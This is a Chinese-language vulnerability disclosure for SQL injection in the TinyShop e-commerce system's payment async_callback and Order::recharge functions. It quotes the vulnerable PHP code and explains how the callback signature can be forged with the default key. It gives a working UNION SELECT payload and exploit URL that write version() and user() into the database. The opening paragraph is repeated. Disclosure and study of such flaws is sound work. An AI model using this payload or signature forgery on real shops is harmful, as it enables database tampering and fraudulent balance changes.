### 简要描述: 20140926 ### 详细说明: 这次这个还是在payment里,是异步callback时候,有类似问题,其实我不想分开交的,其实不想分开交,怕有重复过不了。 /protected/controllers/payment.php中 async_callback ``` function async_callback() { //从URL中获取支付方式 $payment_id = Filter::int(Req::get('payment_id')); $payment = new Payment($payment_id); $paymentPlugin = $payment->getPaymentPlugin(); //先获取一个支付方式,默认只有余额支付 ,id为1 。。。 //执行接口回调函数 $callbackData = Req::args();//array_merge($_POST,$_GET); unset($callbackData['con']); unset($callbackData['act']); unset($callbackData['payment_id']); $return = $paymentPlugin->callback($callbackData,$payment_id,$money,$message,$orderNo); //$callbackData为所有get和post参数,跟进去看看,这个callback在 /protected/classes/payments/pay_balance.php,通过这个函数我们可以控制return和orderNo,没有过滤。 我们让return=1 ,orderNo=recharge_12' union select '111 union select 1,2,3,4,5,user(),7 %23 ',2,3,'778,`addr`=version() ',5,user(),0 %23 _2_3 //支付成功 if($return == 1) { //充值方式 if(stripos($orderNo,'recharge_') !== false) { $tradenoArray = explode('_',$orderNo);...
### 简要描述: 20140926 ### 详细说明: 这次这个还是在payment里,是异步callback时候,有类似问题,其实我不想分开交的,其实不想分开交,怕有重复过不了。 /protected/controllers/payment.php中 async_callback ``` function async_callback() { //从URL中获取支付方式 $payment_id = Filter::int(Req::get('payment_id')); $payment = new Payment($payment_id); $paymentPlugin = $payment->getPaymentPlugin(); //先获取一个支付方式,默认只有余额支付 ,id为1 。。。 //执行接口回调函数 $callbackData = Req::args();//array_merge($_POST,$_GET); unset($callbackData['con']); unset($callbackData['act']); unset($callbackData['payment_id']); $return = $paymentPlugin->callback($callbackData,$payment_id,$money,$message,$orderNo); //$callbackData为所有get和post参数,跟进去看看,这个callback在 /protected/classes/payments/pay_balance.php,通过这个函数我们可以控制return和orderNo,没有过滤。 我们让return=1 ,orderNo=recharge_12' union select '111 union select 1,2,3,4,5,user(),7 %23 ',2,3,'778,`addr`=version() ',5,user(),0 %23 _2_3 //支付成功 if($return == 1) { //充值方式 if(stripos($orderNo,'recharge_') !== false) { $tradenoArray = explode('_',$orderNo); $recharge_no = isset($tradenoArray[1]) ? $tradenoArray[1] : 0; if(Order::recharge($recharge_no,$payment_id)) //recharge 也跟进去看看 { $paymentPlugin->asyncStop(); exit; } } ... } } ``` callback 可以控制$return和$orderNo; ``` public function callback($callbackData,&$paymentId,&$money,&$message,&$orderNo) { //除去待签名参数数组中的空值和签名参数 $filter_param = $this->filterParam($callbackData); //对待签名参数数组排序 $para_sort = $this->argSort($filter_param); //生成签名结果 $payment = new Payment($paymentId); $paymentInfo = $payment->getPayment(); $mysign = $this->buildSign($para_sort,$paymentInfo['partner_key']);//生成$mysign,利用数据库中余额支付对应的partner_key,这个key是默认不变的。 if($callbackData['sign'] == $mysign) { //回传数据 $orderNo = $callbackData['order_no']; //orderNo也可以被我们控制 $money = $callbackData['total_fee']; if($callbackData['order_status'] == 'TINY_SECCESS') { return true; } $message = '支付失败'; } else { $message = '签名不正确'; } return false; } ``` /protected/classes/Order.php中recharge函数 ``` public static function recharge($recharge_no,$payment_id=0){ $model = new Model("recharge"); $recharge = $model->where("recharge_no='".$recharge_no."'")->find(); var_dump($recharge); exit(); if(empty($recharge)){ return false; } if($recharge['status']==1){ return $recharge['id']; }else{ //因为没有回显,控制recharge['status']不等于1 //更新充值订单信息 $model->data(array('status'=>1))->where("recharge_no='".$recharge_no."'")->update(); $account = $recharge['account']; $user_id = $recharge['user_id']; //给用户充值 $result = $model->table("customer")->data(array('balance'=>"`balance`+".$account))->where("user_id=".$user_id)->update(); //利用这里,更新一下addr=version(); if($result){ //填写收款单 $receivingData = array( 'order_id'=>$recharge['id'], 'user_id'=>$user_id, 'amount'=>$account, 'create_time'=>date('Y-m-d H:i:s'), 'payment_time'=>date('Y-m-d H:i:s'), 'doc_type'=>1, 'payment_id'=>$payment_id, 'pay_status'=>1 ); $model->table("doc_receiving")->data($receivingData)->insert(); //写充值日志 Log::balance($account,$user_id,'用户充值,充值编号:'.$recharge_no,1); return $recharge['id']; } return false; } } ``` 生成sign的函数 ``` public function buildSign($sort_para,$key,$sign_type = "MD5") { //把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串 $prestr = $this->createLinkstring($sort_para); //把拼接后的字符串再与安全校验码直接连接起来 $prestr = $prestr.$key; $mysgin = md5($prestr); return $mysgin; } ``` 同之前发的,不具体跟了,我们做一个代理,帮我们生成sign就好。 ### 漏洞证明: http://127.0.0.1/tinyshop/index.php?con=payment&act=async_callback&payment_id=1 order_no=recharge_12' union select '111 union select 1,2,3,4,5,6,7 %23 ',2,3,'778,`addr`=version() ',5,user(),0 %23 _2_3&order_status=TINY_SECCESS [<img src="https://images.seebug.org/upload/201411/081323086e4d6b8601c86ca10c1d2f412309aa76.png" alt="QQ截图20141108132222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/081323086e4d6b8601c86ca10c1d2f412309aa76.png) 看看写进去了 [<img src="https://images.seebug.org/upload/201411/081323328bf9a79016025cb58bf2f223bc33261b.png" alt="QQ截图20141108132251.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/081323328bf9a79016025cb58bf2f223bc33261b.png)